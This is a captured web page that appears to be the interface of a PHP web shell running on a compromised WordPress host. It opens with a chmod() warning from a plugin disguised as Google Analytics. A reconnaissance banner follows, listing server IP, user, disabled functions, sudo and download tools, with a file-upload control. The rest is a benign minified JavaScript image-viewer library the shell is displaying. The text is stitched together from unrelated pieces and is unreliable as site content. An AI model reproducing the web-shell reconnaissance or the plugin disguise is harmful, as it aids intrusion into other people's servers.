Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/theyoungdesigners_com/modules/store/static/ |
Upload File : |
"use strict";class ImageViewer{constructor(e){var t,n,i,a;if(ImageViewer.appendCSS(),void 0!==e.element)this.viewID=e.element;else{const n=ImageViewer.getHtml(this.viewID,this.isZoomable=null===(t=e.isZoomable)||void 0===t||t);document.body.appendChild(n)}this.view=document.getElementById(this.viewID.toString())||document.createElement("div"),this.images=e.images,this.currentSelected=null!==(n=e.currentSelected)&&void 0!==n?n:0,this.buttons=e.buttons,this.showThumbnails=null===(i=e.showThumbnails)||void 0===i||i,this.isInZoom=!1,this.stretchImages=null!==(a=e.stretchImages)&&void 0!==a&&a,this.isHudShow=!0,this.dbcTimer=setTimeout((()=>{}),0),this.dbcWaiting=!1,this.isSwiping=!1,this.isContinuous=e.isContinuous??!1,this.onRender=e.onRender??null,this.specialScroll=!1,this.autoAdvance=e.autoAdvance??0,this.autoHandle=0,this.showImages(),this.showToolbar(),this.addEventToArrows(),this.echoThumbnails(),this.addEventToSwipe((e=>{let t=this.currentSelected;"RIGHT"===e?t--:t++,this.selectImage(t),this.setAutoAdvance()}),(()=>this.selectImage(this.currentSelected))),this.addEventToHudAndZoom(),this.addEventToWindowResize(),this.setStyle(e.style),this.addEventToHide(),this.show()}setAutoAdvance(){this.autoAdvance&&(this.autoAdvance<1e3&&(this.autoAdvance=1e3),this.autoHandle&&window.clearInterval(this.autoHandle),this.autoHandle=window.setInterval((()=>{this.selectImage(this.currentSelected+1)}),this.autoAdvance))}static appendCSS(){if(null===document.getElementById("imageViewer-style")){const e=document.head||document.getElementsByTagName("head")[0],t=document.createElement("style");t.id="imageViewer-style",e.appendChild(t),t.appendChild(document.createTextNode(Style))}}static generateViewID(){const e=Math.floor(1e9*Math.random())+1e8;return null===document.getElementById(e.toString())?e:ImageViewer.generateViewID()}static getHtml(e,t){const n=`\n <div class="imageViewer" id="${e}">\n <div class="shadow"></div>\n <div class="container">\n <div class="imagesWrapper"></div>\n <button class="touchSurface"></button>\n <div class="toolbar">\n <button class="defaultButton closeButton" title="Close"><div><svg fill="#bfbfbf" width="21" height="21" viewBox="-1 -2 18 18" xmlns="http://www.w3.org/2000/svg"><path d="m11.2929 3.29289c.3905-.39052 1.0237-.39052 1.4142 0 .3905.39053.3905 1.02369 0 1.41422l-3.29289 3.29289 3.29289 3.2929c.3905.3905.3905 1.0237 0 1.4142s-1.0237.3905-1.4142 0l-3.2929-3.29289-3.29289 3.29289c-.39053.3905-1.02369.3905-1.41422 0-.39052-.3905-.39052-1.0237 0-1.4142l3.2929-3.2929-3.2929-3.29289c-.39052-.39053-.39052-1.02369 0-1.41422.39053-.39052 1.02369-.39052 1.41422 0l3.29289 3.2929z" fill-rule="evenodd"/></svg></div></button>\n ${t?'\n <button class="defaultButton zoomOutButton" title="Zoom out"><div><svg fill="#bfbfbf" width="22" height="22" viewBox="0 -1 17 17" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M12.027 6.149a5.52 5.52 0 0 1-1.27 3.908l4.26 4.26-.7.71-4.26-4.27a5.52 5.52 0 1 1 1.97-4.608zm-5.45 4.888a4.51 4.51 0 0 0 3.18-1.32l-.04.02a4.51 4.51 0 0 0 1.36-3.2 4.5 4.5 0 1 0-4.5 4.5zm-2.54-4.98h5v1h-5v-1z"/></svg></div></button>\n <button class="defaultButton zoomInButton" title="Zoom in" ><div><svg fill="#bfbfbf" width="22" height="22" viewBox="-1 -2 35 35" xmlns="http://www.w3.org/2000/svg"><path d="m18 12h-4v-4h-2v4h-4v2h4v4h2v-4h4z"/><path d="m21.4479 20a10.856 10.856 0 0 0 2.5521-7 11 11 0 1 0 -11 11 10.856 10.856 0 0 0 7-2.5521l7.5859 7.5521 1.4141-1.4141zm-8.4479 2a9 9 0 1 1 9-9 9.01 9.01 0 0 1 -9 9z"/><path d="m0 0h32v32h-32z" fill="none"/></svg></div></button>\n ':""}\n </div>\n <button class="arrowButton leftButton" ><div><svg fill="none" stroke="#bbb" width="22" height="22" viewBox="3 3 18 18" xmlns="http://www.w3.org/2000/svg" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" ><polyline points="15 18 9 12 15 6" /></svg></div></button>\n <button class="arrowButton rightButton"><div><svg fill="none" stroke="#bbb" width="22" height="22" viewBox="3 3 18 18" xmlns="http://www.w3.org/2000/svg" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" ><polyline points="9 18 15 12 9 6" /></svg></div></button>\n <div class="footer">\n <p dir="auto" class="description"></p>\n <div class="thumbnailsWrapper"></div>\n </div>\n </div>\n </div>\n `;return ImageViewer.getChildNode(n)}static getButtonHtml(e,t,n){const i=`\n <input\n type="button"\n class="customButton"\n title="${e}"\n style="${"background-image:url('"+t+"');"} ${""!==n?"background-size:"+n+";":""}"\n />`;return ImageViewer.getChildNode(i)}static getThumbnailHtml(e,t,n){const i=`\n <button class="thumbnailContainer">\n <img class="thumbnail" data-index="${e}" src="${t}" title="${n}"/>\n </button>\n `;return ImageViewer.getChildNode(i)}static getChildNode(e){const t=document.createElement("div");return t.innerHTML=e.trim(),t.firstChild||t}getImageHtml(e,t){let n;if(this.onRender)n=this.onRender(e,t);else{n=`\n\t\t\t\t<div class="imageContainer${t?" stretch":""}" data-url="${e.mainUrl}">\n\t\t\t\t\t<img class="image"/>\n\t\t\t\t</div>\n\t\t\t`}return ImageViewer.getChildNode(n)}showImages(){let e,t;const n=this.view.getElementsByClassName("imagesWrapper")[0];this.isContinuous&&(e=this.images[this.images.length-1],t=this.getImageHtml(e,this.stretchImages),n.appendChild(t)),this.images.forEach((e=>{const t=this.getImageHtml(e,this.stretchImages);n.appendChild(t)})),this.isContinuous&&(e=this.images[0],t=this.getImageHtml(e,this.stretchImages),n.appendChild(t)),n.addEventListener("scrollend",(e=>{this.isContinuous&&this.specialScroll&&(this.specialScroll=0,this.currentSelected==this.images.length?this.currentSelected=0:this.currentSelected=this.images.length-1,this.scrollToImage(this.currentSelected,"instant"))}))}showToolbar(){var e;const t=this.view.getElementsByClassName("toolbar")[0];null===(e=this.buttons)||void 0===e||e.forEach((e=>{const n=ImageViewer.getButtonHtml(e.name,e.iconSrc,e.iconSize);t.appendChild(n),n.addEventListener("click",(t=>{t.preventDefault(),void 0!==typeof e.onSelect&&e.onSelect()}))}))}addEventToArrows(){const e=this.view.getElementsByClassName("leftButton")[0],t=this.view.getElementsByClassName("rightButton")[0];if(1===this.images.length)return e.style.display="none",void(t.style.display="none");e.addEventListener("click",(e=>{e.preventDefault(),this.selectImage(this.currentSelected-1),this.setAutoAdvance()})),t.addEventListener("click",(e=>{e.preventDefault(),this.selectImage(this.currentSelected+1),this.setAutoAdvance()}));const n=this.view.querySelectorAll(".touchSurface, .imageContainer, .arrowButton, .thumbnailContainer");n[0];n.forEach((e=>{e.addEventListener("keydown",(e=>{const t=e;"ArrowLeft"===t.key&&(e.preventDefault(),this.selectImage(this.currentSelected-1),this.setAutoAdvance()),"ArrowRight"===t.key&&(e.preventDefault(),this.selectImage(this.currentSelected+1),this.setAutoAdvance())}))}))}echoThumbnails(){if(!this.showThumbnails||this.images.length<=1)return;const e=this.view.getElementsByClassName("thumbnailsWrapper")[0];let t=0;e&&this.images.forEach((n=>{var i;const a=ImageViewer.getThumbnailHtml(t,null!==(i=n.thumbnailUrl)&&void 0!==i?i:n.mainUrl,n.description);e.appendChild(a),a.addEventListener("click",(e=>{e.preventDefault();const t=e.target.dataset.index;this.selectImage(parseInt(null!=t?t:"0"))})),t++}))}selectImage(e,t="smooth"){if(this.specialScroll=!1,this.isContinuous){if(e<-1||e>this.images.length||this.isInZoom)return;this.specialScroll=-1==e||e==this.images.length}else if(e<0||e>this.images.length-1||this.isInZoom)return;for(this.currentSelected=e,this.loadImage(e-1),this.loadImage(e),this.loadImage(e+1),this.scrollToImage(e,t);e<0;)e+=this.images.length;for(;e>=this.images.length;)e-=this.images.length;this.setDescription(this.images[e].description),this.setThumbnail(e)}locateImage(e){const t=this.view.getElementsByClassName("imagesWrapper")[0].children;let n=this.isContinuous?e+1:e;return n<0?null:t.item(n)}loadImage(e){const t=this.locateImage(e);if(t){t.getElementsByClassName("image")[0].src=t.dataset.url}}scrollToImage(e,t="smooth"){const n=this.view.getElementsByClassName("imagesWrapper")[0],i=this.locateImage(e),a=i.offsetLeft-(n.getBoundingClientRect().width-i.getBoundingClientRect().width)/2;n.scrollTo({left:a,behavior:t})}setDescription(e){const t=this.view.getElementsByClassName("description")[0];t&&(t.innerHTML=e||"")}setThumbnail(e){this.view.querySelectorAll(".thumbnail").forEach((e=>{e.classList.remove("selected")}));const t=this.view.querySelector('[data-index="'+e+'"]');null!==t&&(t.classList.add("selected"),this.scrollThumbnail(e))}scrollThumbnail(e){const t=this.view.getElementsByClassName("thumbnailsWrapper")[0],n=t.children.item(e),i=n.offsetLeft-(t.getBoundingClientRect().width-n.getBoundingClientRect().width)/2;t.scrollTo({left:i,behavior:"smooth"})}addEventToSwipe(e,t){let n={startX:0,startY:0,endX:0,endY:0},i="";const a=this.view.getElementsByClassName("imagesWrapper")[0];let o=a.getBoundingClientRect(),r=o.left;const s=this.view.getElementsByClassName("touchSurface")[0];s&&(s.addEventListener("touchstart",(e=>{if(this.isInZoom)return;let t=e.touches[0];n.startX=t.screenX,n.startY=t.screenY;const i=this.locateImage(this.currentSelected);r=i.offsetLeft})),s.addEventListener("touchmove",(e=>{if(this.isInZoom)return;e.preventDefault();let t=e.touches[0];n.endX=t.screenX,n.endY=t.screenY;let i=n.startX-t.screenX;a.scrollLeft=r+i})),s.addEventListener("touchend",(a=>{this.isInZoom||((n.endX-30>n.startX||n.endX+30<n.startX)&&n.endY<n.startY+60&&n.startY>n.endY-60&&n.endX>0?i=n.endX>n.startX?"RIGHT":"LEFT":(n.endY-50>n.startY||n.endY+50<n.startY)&&n.endX<n.startX+30&&n.startX>n.endX-30&&n.endY>0&&(i=n.endY>n.startY?"DOWN":"UP"),""===i?t():e(i),n={startX:0,startY:0,endX:0,endY:0},i="",r=o.left)})))}addEventToHudAndZoom(){this.view.querySelectorAll(".touchSurface, .image").forEach((e=>{e.addEventListener("click",(e=>{this.view.classList.contains("noclick")?e.stopPropagation():(e.preventDefault(),this.dbcWaiting?(clearTimeout(this.dbcTimer),this.dbcWaiting=!1,this.flipZoom(e.clientX,e.clientY)):(this.dbcWaiting=!0,this.dbcTimer=setTimeout((()=>{this.dbcWaiting&&this.flipHud(!this.isHudShow),this.dbcWaiting=!1}),200)))}))}));this.view.querySelectorAll(".zoomInButton, .zoomOutButton").forEach((e=>{e.addEventListener("click",(e=>{e.preventDefault();const t=this.locateImage(this.currentSelected);this.flipZoom(t.offsetWidth/2,t.offsetHeight/2)}))}));const e=this.view.getElementsByClassName("imagesWrapper")[0];e.addEventListener("touchmove",(t=>{this.isInZoom?e.style.overflow="hidden":e.style.overflow="scroll"}))}flipZoom(e,t){if(!this.isZoomable)return;const n=this.locateImage(this.currentSelected),i=this.view.getElementsByClassName("touchSurface")[0];if(n.classList.contains("zoom"))n.classList.remove("zoom"),this.isInZoom=!1,this.flipHud(!0),this.view.classList.remove("halfHud"),i.style.display="block";else{n.classList.add("zoom");const a=n.getElementsByClassName("image")[0];n.scrollTop=a.offsetHeight/2-n.offsetHeight/2+(t-n.offsetHeight/2)*(a.offsetHeight/n.offsetHeight),n.scrollLeft=a.offsetWidth/2-n.offsetWidth/2+(e-n.offsetWidth/2)*(a.offsetWidth/n.offsetWidth),this.isInZoom=!0,this.flipHud(!1),this.view.classList.add("halfHud"),i.style.display="none"}}flipHud(e){e?(this.view.classList.remove("hudDisplay"),setTimeout((()=>this.view.classList.remove("hudOpacity")),50)):(this.view.classList.add("hudOpacity"),setTimeout((()=>this.view.classList.add("hudDisplay")),200)),this.isHudShow=e}addEventToWindowResize(){window.addEventListener("resize",(()=>{this.selectImage(this.currentSelected)}))}setStyle(e){if(void 0!==e){this.style=e;for(const[e,t]of Object.entries(this.style)){this.view.querySelectorAll("."+e).forEach((e=>{for(const n of t)e.style.setProperty(n[0],n[1])}))}}}show(){const e=this;setTimeout((()=>{this.selectImage(this.currentSelected,"instant"),e.view.classList.add("visible"),this.setAutoAdvance()}),150)}addEventToHide(){const e=this.view.getElementsByClassName("closeButton")[0];e&&e.addEventListener("click",(e=>{this.hide()}))}hide(){this.view.classList.remove("visible");const e=this;setTimeout((()=>{e.view.remove()}),500)}}const Style="\n.hiddenScrollbar,.imageViewer>.container>.footer>.thumbnailsWrapper,.imageViewer>.container>.imagesWrapper,.imageViewer>.container>.imagesWrapper>.imageContainer{scrollbar-width:none}.hiddenScrollbar::-webkit-scrollbar,.imageViewer>.container>.footer>.thumbnailsWrapper::-webkit-scrollbar,.imageViewer>.container>.imagesWrapper::-webkit-scrollbar,.imageViewer>.container>.imagesWrapper>.imageContainer::-webkit-scrollbar{width:0;height:0;display:none}.darkTransparentBackground,.imageViewer>.container>.arrowButton,.imageViewer>.container>.toolbar>.customButton,.imageViewer>.container>.toolbar>.defaultButton,.transparentBackground,.transparentBackground_dark{transition:background-color 50ms}.transparentBackground:enabled:active{background-color:rgba(0,0,0,.05)!important}.coloredBackground:disabled,.darkTransparentBackground:disabled,.imageViewer>.container>.arrowButton:disabled,.imageViewer>.container>.toolbar>.customButton:disabled,.imageViewer>.container>.toolbar>.defaultButton:disabled,.transparentBackground:disabled{opacity:.5;cursor:default}.darkTransparentBackground:enabled:active,.imageViewer>.container>.arrowButton:enabled:active,.imageViewer>.container>.toolbar>.customButton:enabled:active,.imageViewer>.container>.toolbar>.defaultButton:enabled:active{background-color:rgba(0,0,0,.4)!important}.imageViewer>.container>.footer,.imageViewer>.container>.toolbar>*{transition:opacity .2s ease-in-out}.coloredBackground{opacity:.8}.coloredBackground:enabled:active,.imageViewer.visible>.container,.imageViewer.visible>.shadow{opacity:1}.transparentBackground_dark:enabled:active{background-color:rgba(255,255,255,.1)!important}@media (hover:hover) and (pointer:fine){.thinScrollbar::-webkit-scrollbar{width:4px;height:4px}.thinScrollbar::-webkit-scrollbar-track{background:0 0}.thinScrollbar::-webkit-scrollbar-thumb{background:#bbb;border-radius:20px}.darkMode .thinScrollbar::-webkit-scrollbar-thumb{background:#555}.darkTransparentBackground,.imageViewer>.container>.arrowButton,.imageViewer>.container>.toolbar>.customButton,.imageViewer>.container>.toolbar>.defaultButton,.transparentBackground,.transparentBackground_dark{transition:background-color 150ms}.transparentBackground:enabled:hover{background-color:rgba(0,0,0,.03)!important}.transparentBackground:enabled:focus{background-color:rgba(0,0,0,.04)!important}.transparentBackground:enabled:active{background-color:rgba(0,0,0,.08)!important}.darkTransparentBackground:enabled:hover,.imageViewer>.container>.arrowButton:enabled:hover,.imageViewer>.container>.toolbar>.customButton:enabled:hover,.imageViewer>.container>.toolbar>.defaultButton:enabled:hover{background-color:rgba(0,0,0,.2)!important}.darkTransparentBackground:enabled:focus,.imageViewer>.container>.arrowButton:enabled:focus,.imageViewer>.container>.toolbar>.customButton:enabled:focus,.imageViewer>.container>.toolbar>.defaultButton:enabled:focus{background-color:rgba(0,0,0,.3)!important}.darkTransparentBackground:enabled:active,.imageViewer>.container>.arrowButton:enabled:active,.imageViewer>.container>.toolbar>.customButton:enabled:active,.imageViewer>.container>.toolbar>.defaultButton:enabled:active{background-color:rgba(0,0,0,.4)!important}.coloredBackground:enabled:hover{opacity:.85}.coloredBackground:enabled:focus{opacity:.9}.coloredBackground:enabled:active{opacity:1}.transparentBackground_dark:enabled:hover{background-color:rgba(255,255,255,.12)!important}.transparentBackground_dark:enabled:focus{background-color:rgba(255,255,255,.1)!important}.transparentBackground_dark:enabled:active{background-color:rgba(255,255,255,.07)!important}}.imageViewer *{padding:0;margin:0;font-family:Catamaran-Medium;-webkit-tap-highlight-color:transparent;box-sizing:border-box}.imageViewer a::-moz-focus-inner,.imageViewer button::-moz-focus-inner,.imageViewer input::-moz-focus-inner{border:0;padding:0}.imageViewer a{text-decoration:none;outline:0}.imageViewer button,.imageViewer input,.imageViewer select{border:none;outline:0}.imageViewer button,.imageViewer input[type=button],.imageViewer select{cursor:pointer}.imageViewer input:invalid,.imageViewer input:required{box-shadow:none}.imageViewer button,.imageViewer input[type=button]{font-size:1rem;padding:0;background:0 0}.imageViewer>.shadow{width:100%;height:100%;opacity:0;transition:opacity 160ms ease-in-out}.imageViewer>.container>.imagesWrapper{width:100%;height:100%;position:absolute;top:0;left:0;display:flex;overflow:hidden}.imageViewer>.container>.imagesWrapper>.imageContainer{min-width:100%;min-height:100%;display:flex;justify-content:center;align-items:center;overflow-x:scroll;overflow-y:scroll;position:relative;cursor:default;margin-right: 2px}.imageViewer>.container>.imagesWrapper>.imageContainer>.image{width:auto;max-width:100%;height:auto;max-height:100%;cursor:pointer}.imageViewer>.container>.imagesWrapper .stretch>.image{width:100%;height:100%;-o-object-fit:contain;object-fit:contain}.imageViewer>.container>.imagesWrapper .zoom{display:inline}.imageViewer>.container>.imagesWrapper .zoom>.image{max-width:unset;max-height:unset;margin-bottom:-20px}.imageViewer>.container>.touchSurface{width:100%;height:100%;position:absolute;top:0;left:0}.imageViewer>.container>.toolbar{width:55px;height:auto;position:absolute;top:0;right:0;display:flex;flex-direction:column}.imageViewer>.container>.toolbar>.customButton,.imageViewer>.container>.toolbar>.defaultButton{width:100%;height:55px;display:flex}.imageViewer>.container>.toolbar>.defaultButton{justify-content:center;align-items:center}.imageViewer>.container>.arrowButton>div,.imageViewer>.container>.toolbar>.defaultButton>div{width:-webkit-fit-content;width:fit-content;height:-webkit-fit-content;height:fit-content;display:flex;justify-content:center;align-items:center}.imageViewer.hudDisplay>.container>.arrowButton,.imageViewer.hudDisplay>.container>.footer,.imageViewer.hudDisplay>.container>.toolbar>*,.imageViewer>.container>.footer>.description:empty,.imageViewer>.container>.footer>.thumbnailsWrapper:empty,.imageViewer>.container>.toolbar>.zoomOutButton{display:none}.imageViewer>.container>.toolbar>.customButton{background-size:19px auto;background-repeat:no-repeat;background-position:center center}.imageViewer>.container>.arrowButton{width:80px;height:calc(100% - 300px);min-height:100px;max-height:160px;display:flex;color:#aaa;justify-content:center;align-items:center;position:absolute;top:50%;transform:translate(0,-50%);transition:opacity .2s ease-in-out}.imageViewer>.container>.leftButton{border-top-right-radius:5px;border-bottom-right-radius:5px;left:0}.imageViewer>.container>.rightButton{border-top-left-radius:5px;border-bottom-left-radius:5px;right:0}.imageViewer>.container>.footer{width:auto;max-width:85%;height:auto;display:flex;flex-direction:column;align-items:center;position:absolute;left:50%;bottom:20px;transform:translate(-50%,0);gap:8px}.imageViewer>.container>.footer>.description{padding:2px 10px;background-color:rgba(0,0,0,.7);font-size:1.2rem;color:#fafafa;border-radius:2px}.imageViewer>.container>.footer>.thumbnailsWrapper{max-width:100%;padding-left:10px;padding-right:10px;height:80px;overflow:scroll;display:flex;gap:12px}.imageViewer>.container>.footer>.thumbnailsWrapper>.thumbnailContainer>.thumbnail{width:auto;max-width:120px;height:auto;max-height:70px;border:3px solid transparent;border-radius:3px;cursor:pointer}.imageViewer>.container>.footer>.thumbnailsWrapper>.thumbnailContainer>.selected{border-color:#fff}.imageViewer.hudOpacity>.container>.arrowButton,.imageViewer.hudOpacity>.container>.footer,.imageViewer.hudOpacity>.container>.toolbar>*{opacity:0}.imageViewer.halfHud>.container>.toolbar>.closeButton,.imageViewer.halfHud>.container>.toolbar>.zoomOutButton{opacity:1;display:flex}.imageViewer.halfHud>.container>.toolbar>.zoomInButton{opacity:0;display:none}.imageViewer.visible{visibility:visible}@media (max-width:450px){.imageViewer>.container>.toolbar{width:auto;height:50px;flex-direction:row-reverse}.imageViewer>.container>.toolbar>.customButton,.imageViewer>.container>.toolbar>.defaultButton{width:50px;height:100%}.imageViewer>.container>.arrowButton{width:65px}.imageViewer>.container>.footer>.description{font-size:1rem}}@media (orientation:landscape) and (max-height:450px){.imageViewer>.container>.toolbar{width:auto;height:50px;flex-direction:row-reverse}.imageViewer>.container>.toolbar>.customButton,.imageViewer>.container>.toolbar>.defaultButton{width:50px;height:100%}.imageViewer>.container>.footer{bottom:5px}}\n";